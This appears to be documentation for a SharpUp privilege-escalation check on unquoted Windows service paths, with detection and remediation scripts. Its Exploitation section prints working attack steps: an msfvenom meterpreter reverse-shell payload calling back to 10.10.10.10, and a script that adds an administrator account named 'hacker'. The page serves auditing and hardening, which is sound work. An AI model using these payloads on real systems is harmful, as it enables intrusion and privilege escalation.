Skip to main content

Overview

The Unquoted Service Path check identifies Windows services where the executable path contains spaces but is not enclosed in quotes. This creates an ambiguity in how Windows interprets the path, potentially allowing an attacker to place a malicious executable that will be executed instead of the intended service binary.
This vulnerability exists because Windows searches for executables by tokenizing paths at spaces when quotes are missing.

How It Works

When Windows tries to start a service with an unquoted path like:
C:\Program Files\My App\service.exe
Windows will search for executables in this order:
  1. C:\Program.exe
  2. C:\Program Files\My.exe
  3. C:\Program Files\My App\service.exe
If an attacker can write to any of the earlier locations, they can execute arbitrary code.

Technical Details

SharpUp:
  1. Enumerates all services from registry
  2. Extracts the ImagePath value
  3. Checks if path:
    • Doesn’t start with quotes
    • Contains spaces
    • Ends with .exe
  4. For each space in the path, checks if the parent directory is writable
  5. Reports services where malicious executables can be placed

Example Output

=== Services with Unquoted Paths ===
    Service 'MyApp' (StartMode: Automatic) has executable 'C:\Program Files\My App\service.exe', but 'C:\Program' is modifiable.

    Service 'BackupSvc' (StartMode: Manual) has executable 'C:\Custom Tools\Backup Service\backup.exe', but 'C:\Custom' is modifiable.
Interpretation:
  • MyApp service has unquoted path with spaces
  • You can write to C:\ to create C:\Program.exe
  • When MyApp service starts, Windows will execute C:\Program.exe first
  • Service runs as SYSTEM, giving you SYSTEM privileges

Exploitation

Method 1: Exploit First Space

# Service path: C:\Program Files\My App\service.exe
# Can write to C:\

# Create malicious Program.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o Program.exe

# Copy to C:\
Copy-Item Program.exe C:\Program.exe

# Restart service or reboot
Restart-Service -Name MyApp
# Or
shutdown /r /t 0

Method 2: Exploit Second Space

# Service path: C:\Program Files\My App\service.exe
# Cannot write to C:\ but can write to C:\Program Files\

# Create malicious "My.exe"
Copy-Item malicious.exe "C:\Program Files\My.exe"

# Restart service
Restart-Service -Name MyApp

Method 3: Persistence via Unquoted Path

# Find unquoted service paths
$services = Get-WmiObject Win32_Service | Where-Object {
    $_.PathName -notmatch '^"' -and
    $_.PathName -match ' ' -and
    $_.PathName -match '\.exe'
}

foreach ($service in $services) {
    $path = $service.PathName

    # Extract path before first .exe
    if ($path -match '(.+\.exe)') {
        $exePath = $matches[1]

        # Find exploitable space
        $parts = $exePath -split ' '
        for ($i = 0; $i -lt $parts.Length - 1; $i++) {
            $testPath = ($parts[0..$i] -join ' ') + '.exe'
            $parentDir = Split-Path $testPath

            # Check if writable
            if (Test-Path $parentDir) {
                Write-Host "[+] Exploitable: $($service.Name)"
                Write-Host "    Create: $testPath"
                Write-Host "    StartMode: $($service.StartMode)"
            }
        }
    }
}

Method 4: Automatic Execution

# If service is set to Automatic, payload runs at boot
# No interaction needed after placing malicious executable

# Create payload
$payload = @"
@echo off
net user hacker P@ssw0rd123! /add
net localgroup administrators hacker /add
exit
"@

$payload | Out-File -FilePath "C:\Program.exe" -Encoding ASCII

# Wait for reboot - payload executes automatically

Remediation

1

Identify Unquoted Service Paths

# Find all services with unquoted paths
Get-WmiObject Win32_Service |
Where-Object {
    $_.PathName -notmatch '^"' -and
    $_.PathName -match ' ' -and
    $_.PathName -match '\.exe'
} |
Select-Object Name, DisplayName, PathName, State, StartMode |
Format-Table -AutoSize
2

Quote Service Paths

# Fix individual service
$serviceName = "MyApp"
$service = Get-WmiObject Win32_Service -Filter "Name='$serviceName'"
$currentPath = $service.PathName

# Extract executable and arguments
if ($currentPath -match '(.+\.exe)(.*)') {
    $exePath = $matches[1]
    $args = $matches[2]

    # Create quoted path
    $newPath = "`"$exePath`"$args"

    # Update service
    sc.exe config $serviceName binpath= $newPath

    Write-Host "[+] Fixed: $serviceName"
    Write-Host "    Old: $currentPath"
    Write-Host "    New: $newPath"
}
3

Bulk Remediation

# Fix all unquoted service paths
$services = Get-WmiObject Win32_Service |
Where-Object {
    $_.PathName -notmatch '^"' -and
    $_.PathName -match ' ' -and
    $_.PathName -match '\.exe'
}

foreach ($service in $services) {
    $path = $service.PathName

    if ($path -match '(.+\.exe)(.*)') {
        $exe = $matches[1]
        $args = $matches[2]
        $newPath = "`"$exe`"$args"

        try {
            sc.exe config $service.Name binpath= $newPath
            Write-Host "[+] Fixed: $($service.Name)" -ForegroundColor Green
        }
        catch {
            Write-Host "[-] Error fixing $($service.Name): $_" -ForegroundColor Red
        }
    }
}
4

Secure Parent Directories

Even after quoting paths, ensure parent directories have proper permissions:
# Secure C:\Program Files
icacls "C:\Program Files" /inheritance:r
icacls "C:\Program Files" /grant:r "SYSTEM:(OI)(CI)F"
icacls "C:\Program Files" /grant:r "Administrators:(OI)(CI)F"
icacls "C:\Program Files" /grant:r "Users:(OI)(CI)RX"
5

Verify Fix

# Re-run check
SharpUp.exe UnquotedServicePath
Should return no vulnerable services.

Automated Remediation Script

# Comprehensive unquoted path remediation
$results = @()

Get-WmiObject Win32_Service |
Where-Object {
    $_.PathName -notmatch '^"' -and
    $_.PathName -match ' ' -and
    $_.PathName -match '\.exe'
} |
ForEach-Object {
    $service = $_
    $oldPath = $service.PathName

    if ($oldPath -match '(.+\.exe)(.*)') {
        $exe = $matches[1].Trim()
        $args = $matches[2].Trim()
        $newPath = if ($args) { "`"$exe`" $args" } else { "`"$exe`"" }

        try {
            # Update service
            $result = sc.exe config $service.Name binpath= $newPath 2>&1

            if ($LASTEXITCODE -eq 0) {
                $status = "Success"
                Write-Host "[+] Fixed: $($service.Name)" -ForegroundColor Green
            }
            else {
                $status = "Failed: $result"
                Write-Host "[-] Failed: $($service.Name) - $result" -ForegroundColor Red
            }
        }
        catch {
            $status = "Error: $($_.Exception.Message)"
            Write-Host "[-] Error: $($service.Name) - $($_.Exception.Message)" -ForegroundColor Red
        }

        $results += [PSCustomObject]@{
            ServiceName = $service.Name
            DisplayName = $service.DisplayName
            OldPath = $oldPath
            NewPath = $newPath
            Status = $status
        }
    }
}

# Export report
$results | Export-Csv "UnquotedPathRemediation_$(Get-Date -Format yyyyMMdd).csv" -NoTypeInformation
Write-Host "`n[+] Report saved"

Detection

Defensive Monitoring

# Monitor service configuration changes
auditpol /set /subcategory:"Security System Extension" /success:enable /failure:enable

# Monitor Event IDs:
# 4697 - Service installed
# 7045 - Service installed (System log)

# Monitor registry changes to service ImagePath
$servicePath = "HKLM:\SYSTEM\CurrentControlSet\Services"

Get-ChildItem $servicePath | ForEach-Object {
    $acl = Get-Acl $_.PSPath
    $auditRule = New-Object System.Security.AccessControl.RegistryAuditRule(
        "Everyone",
        "SetValue",
        "None",
        "None",
        "Success"
    )
    $acl.AddAuditRule($auditRule)
    Set-Acl $_.PSPath $acl
}

Detection Strategies

  • File System Monitoring
  • Service Monitoring
  • Configuration Auditing
  • Monitor file creation in Program Files root
  • Alert on .exe files in unusual locations (C:\Program.exe)
  • Track file writes to directories containing unquoted service paths

Real-World Scenarios

Context: Third-party monitoring application installed with unquoted path: C:\Program Files\Monitor Tool\service.exeVulnerable Directories:
  • C:\Program.exe (if writable)
  • C:\Program Files\Monitor.exe (if writable)
Attack:
  1. Standard user gains access
  2. Finds unquoted path via SharpUp
  3. Places malicious Program.exe in C:\
  4. Waits for service restart or reboot
  5. Service runs malicious Program.exe as SYSTEM
Prevention:
  • Work with vendor to fix installer
  • Manually quote service path
  • Ensure C:\ is not writable by users
Context: IT team created custom service installed to C:\Company Tools\Update Service\updater.exe with Automatic startup.Risk:
  • Can create C:\Company.exe
  • Service restarts every boot
  • Automatic privilege escalation
Solution:
  • Quote the path immediately
  • Move service to standard Program Files location
  • Ensure installation directory has proper permissions
Context: 10-year-old application with unquoted service path on 1,000 servers.Challenges:
  • Vendor no longer supported
  • Can’t easily update all servers
  • Service critical for operations
Approach:
  1. Quote paths via automated script
  2. Test on non-production servers first
  3. Deploy via GPO or SCCM
  4. Verify no application breakage
  5. Monitor for issues

Prevention Best Practices

Always Quote Paths

Developers: Always enclose service paths in quotes, even without spaces.

Install to Program Files

Install applications to standard protected locations.

Regular Audits

Periodically scan for and remediate unquoted paths.

Secure Permissions

Ensure root directories (C:) have proper write restrictions.

Development Best Practice

// When creating a Windows service
// ALWAYS quote the binary path

string servicePath = @"C:\Program Files\MyApp\Service.exe";

// Correct way to register service
sc.exe create MyService binpath= "\"" + servicePath + "\""

// Result: binpath= "C:\Program Files\MyApp\Service.exe"

// Also acceptable: use InstallUtil or .NET ServiceInstaller
// which automatically quotes paths

References